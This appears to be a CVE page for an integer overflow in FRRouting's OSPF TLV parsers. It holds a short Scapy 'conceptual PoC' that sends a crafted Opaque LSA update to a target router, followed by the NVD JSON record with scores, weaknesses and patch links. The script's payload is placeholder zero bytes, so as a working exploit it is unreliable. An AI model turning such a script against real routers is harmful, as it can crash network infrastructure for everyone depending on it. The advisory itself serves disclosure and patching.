CVE-2026-28532

from scapy.all import * # This is a conceptual PoC for CVE-2026-28532 # It constructs a malicious OSPF LSA packet to trigger the integer overflow. def send_exploit(target_ip, local_ip): # Construct OSPF Header ospf_header = OSPF_Hdr(src=local_ip) # Construct a malicious Opaque LSA (Type 10 or 11) # The Length field needs to be crafted to trigger the uint16_t overflow # in the TLV parser loop. # Example: Setting a large length that causes accumulation to wrap malicious_lsa = OSPF_LSA(type=10, ls_id=1, adv_rtr=local_ip, seq=0x80000001, age=1, # Payload simulates the crafted TLVs data=b'\x00'*100) # Encapsulate in OSPF LS Update ls_update = OSPF_LSUpd(ls_count=1, lsa_list=[malicious_lsa]) # Send packet packet = IP(dst=target_ip)/ospf_header/ls_update send(packet) print("Note: This PoC requires Scapy and an established OSPF adjacency.")

{"cve": {"id": "CVE-2026-28532", "sourceIdentifier": "[email protected]", "published": "2026-04-30T21:16:31.250", "lastModified": "2026-05-01T17:48:21.397", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FRRouting before 10.5.3 contains an integer overflow vulnerability in seven OSPF Traffic Engineering and Segment Routing TLV parser functions where a uint16_t accumulator variable truncates uint32_t values returned by the TLV_SIZE() macro, causing the loop termination condition to fail while pointer advancement continues unchecked. Attackers with an established OSPF adjacency can send a crafted LS Update packet with a malicious Type 10 or Type 11 Opaque LSA to trigger out-of-bounds memory reads and crash all affected routers in the OSPF area or autonomous system."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.0, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}, {"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:frrouting:frrouting:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.5.3", "matchCriteriaId": "0672500D-B272-4026-85C8-3F3B2C18ED00"}]}]}], "references": [{"url": "https://github.com/FRRouting/frr/commit/f098decf02987fbf1c891766c1516ac832adadfd", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/FRRouting/frr/pull/21002", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/FRRouting/frr/releases/tag/frr-10.5.3", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.vulncheck.com/advisories/frrouting-integer-overflow-in-ospf-tlv-parser-functions", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}